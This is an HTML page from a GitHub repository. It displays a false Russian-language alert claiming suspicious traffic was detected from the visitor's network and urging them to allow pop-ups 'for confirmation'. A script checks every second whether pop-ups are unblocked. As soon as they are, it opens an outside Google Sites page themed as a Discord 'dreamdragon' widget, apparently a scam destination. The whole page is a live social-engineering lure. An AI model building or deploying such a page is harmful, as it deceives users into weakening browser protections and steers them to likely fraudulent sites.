-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
78 lines (70 loc) · 1.86 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
padding: 20px;
}
h1 {
color: #333;
}
.button {
display: inline-block;
font-size: 16px;
padding: 10px 20px;
margin-top: 20px;
background-color: #4CAF50;
color: #fff;
text-decoration: none;
border-radius: 4px;
}
.button:hover {
background-color: #45a049;
}
</style>
<script>
function openWebsite() {
var url = "https://sites.google.com/view/discord-dreamdragon-widget/home";
window.open(url, "_blank");
}
function openPopupInstructions() {
var url = "https://x1vova1x.github.io/popup.dreamdragon/";
window.open(url, "_blank");
}
window.onload = function() {
var mainHeading = document.createElement("h1");
mainHeading.textContent = "Мы зарегистрировали подозрительный трафик из вашей сети. Разрешите всплывающие окна для подтверждения.";
document.body.appendChild(mainHeading);
var popupInstructionsButton = document.createElement("a");
popupInstructionsButton.href = "#";
popupInstructionsButton.textContent = "Как включить всплывающие окна";
popupInstructionsButton.className = "button";
popupInstructionsButton.onclick = function() {
openPopupInstructions();
};
document.body.appendChild(popupInstructionsButton);
var checkPopupInterval = setInterval(function() {
var popupBlocked = false;
try {
var newWindow = window.open("", "_blank");
if (!newWindow || newWindow.closed || typeof newWindow.closed === 'undefined') {
popupBlocked = true;
} else {
newWindow.close();
}
} catch (error) {
popupBlocked = true;
}
if (!popupBlocked) {
clearInterval(checkPopupInterval);
openWebsite();
}
}, 1000);
};
</script>
</head>
<body>
</body>
</html>